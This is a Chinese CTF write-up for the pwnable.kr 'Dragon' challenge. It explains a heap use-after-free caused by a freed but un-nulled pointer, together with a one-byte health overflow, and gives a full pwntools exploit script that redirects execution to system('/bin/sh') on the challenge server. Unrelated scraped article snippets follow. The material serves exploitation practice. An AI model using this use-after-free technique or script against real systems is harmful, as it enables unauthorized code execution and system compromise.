Pwnable.kr
Dragon —— 堆之 uaf
开始堆的学习之旅。
uaf漏洞利用到了堆的管理中fastbin的特性,关于堆的各种分配方式参见堆之*bin理解
在SecretLevel函数中,发现了隐藏的system("/bin/sh")调用,虽然无法直接执行,但无疑会是后续进展中的有力武器。
在和恐龙战斗的函数结束部分,发现了free掉但没有置空的free(dragon)语句,而在对战胜利后恰有开辟相同大小的空间,并自主写入的部分,由此产生了uaf漏洞。
>>在将dragon的结构体free之后,所指的内存空间会“挂”在fastbin数组下等待下次调用,而没有置空的、原来指向被free空间的dragon指针仍然指向该空间,仍可以在函数中被使用,而之后v2申请的大小和被free的空间的大小相同,会优先从fastbin数组中“摘下来”,此时v2和dragon指针都指向同一块内存空间,所以可以通过对v2的输入和对dragon的调用,实现任意代码执行,所以只要将之前的system(“/bin/sh”)段的地址写入v2,就能获得shell
这个游戏无法通过正常操作获得胜利,但是龙的生命只有一个byte即最多达到127,不断增长的情况下就可能实现溢出导致生命为负,使用有无敌和回技能点的第一个英雄配合母龙很容易达到。
exp:
#!/usr/bin/env python
# -*-coding=utf-8-*-
from pwn import *
# context.log_level = 'debug'
# io = process("./dragon")
io = remote("pwnable.kr",9004)
elf = ELF("./dragon") binsh = 0x804935c
sys_addr = elf.symbols["system"]
call_sys = 0x8048dbf
# to pretend to be defeated at first
io.recvuntil("night\n")
io.sendline("")
io.recvuntil("cible.\n")
io.sendline("")
io.recvuntil("cible.\n")
io.sendline("")
io.recvuntil("night\n")
io.sendline("")
# to track the mom dragon come out and make it overflow
for i in range (4):
io.recvuntil("ble.\n")
io.sendline("")
io.recvuntil("ble.\n")
io.sendline("")
io.recvuntil("ble.\n")
io.sendline("")
io.recvuntil("As:\n")
# payload = p32(sys_addr) + p32(binsh)
payload = p32(call_sys) + '\x00'*8
io.send(payload)
io.interactive()
Pwnable.kr的更多相关文章
- pwnable.kr的passcode
前段时间找到一个练习pwn的网站,pwnable.kr 这里记录其中的passcode的做题过程,给自己加深印象. 废话不多说了,看一下题目, 看到题目,就ssh连接进去,就看到三个文件如下 看了一下 ...
- pwnable.kr bof之write up
这一题与前两题不同,用到了静态调试工具ida 首先题中给出了源码: #include <stdio.h> #include <string.h> #include <st ...
- pwnable.kr col之write up
Daddy told me about cool MD5 hash collision today. I wanna do something like that too! ssh col@pwnab ...
- pwnable.kr brainfuck之write up
I made a simple brain-fuck language emulation program written in C. The [ ] commands are not impleme ...
- pwnable.kr login之write up
main函数如下: auth函数如下: 程序的流程如下: 输入Authenticate值,并base64解码,将解码的值代入md5_auth函数中 mad5_auth()生成其MD5值并与f87cd6 ...
- pwnable.kr详细通关秘籍(二)
i春秋作家:W1ngs 原文来自:pwnable.kr详细通关秘籍(二) 0x00 input 首先看一下代码: 可以看到程序总共有五步,全部都满足了才可以得到flag,那我们就一步一步来看 这道题考 ...
- pwnable.kr simple login writeup
这道题是pwnable.kr Rookiss部分的simple login,需要我们去覆盖程序的ebp,eip,esp去改变程序的执行流程 主要逻辑是输入一个字符串,base64解码后看是否与题目 ...
- pwnable.kr第二天
3.bof 这题就是简单的数组越界覆盖,直接用gdb 调试出偏移就ok from pwn import * context.log_level='debug' payload='A'*52+p32(0 ...
- [pwnable.kr]Dragon
0x00: dragon 是一个UAF漏洞的利用. UseAfterFree 是堆的漏洞利用的一种 简单介绍 https://www.owasp.org/index.php/Using_freed_m ...
- [pwnable.kr] - wtf
Q: I don't understand why my exploit is not working. I need your help. download : http://pwnable.kr/ ...
随机推荐
- 20200221--python学习第14天
今日内容 带参数的装饰器:flash框架+django缓存+写装饰器实现被装饰的函数要执行N次 模块: os sys time datetime和timezone[了解] 内容回顾与补充 1.函数 写 ...
- Mybatis随记(一)update动态SQL
<update id="updateUser"> UPDATE user_info SET <if test="gzhOpenId != null an ...
- 对C语言整数类型的一点理解
作者:autogeek 原文链接:http://www.cnblogs.com/autogeek/p/4321635.html 1.先从一个列子引出问题: //sample_1 unsigned ch ...
- telnet命令连接服务器端
win7: (1).使用telnet命令: 控制面板--->程序--->打开或关闭Windows功能--->Telnet客户端[勾选] (2)连接(cmd) eg:telnet ww ...
- vue路由--动态路由
前面介绍的路由都是路径和组件一对一映射的 有时候需要多个路径映射到一个组件,这个组件根据参数的不同动态改变,这时候需要用到动态路由 动态路由这样定义路由路径: path: '/foo/:id'--可以 ...
- C#设置自定义文件图标实现双击启动
修改注册表,双击文件直接打开 string strProject = "Exec"; string p_FileTypeName =".cdb";//文件后缀 ...
- SAP Basis DEBUG改表数据权限角色设计
SAP Basis DEBUG改表数据权限角色设计 项目实践中,因种种原因不得不要通过debug才能解决一些特定的问题,所以就涉及到了debug权限角色的定义了. DEBUG的权限,无非就是: 1)数 ...
- 02.JS数据类型与数据类型转换
前言: 学习一门编程语言的基本步骤 (01)了解背景知识 (02)搭建开发环境 (03)语法规范 (04)常量和变量 (05)数据类型 (06)数据类型转换5.数据类型——datatype 数据 ...
- ES6中map数据结构
key值可以任意值或对象,value值可以是任意值或对象 let json={ name:'eternity', skill:'java' }; let map=new Map(); map.set( ...
- Geographic coordinate systems 坐标系和 wkid
Well-Known ID 与对应的坐标系 地理坐标系 Well-known ID Name Well-known text 3819 GCS_HD1909 GEOGCS["GCS_HD1 ...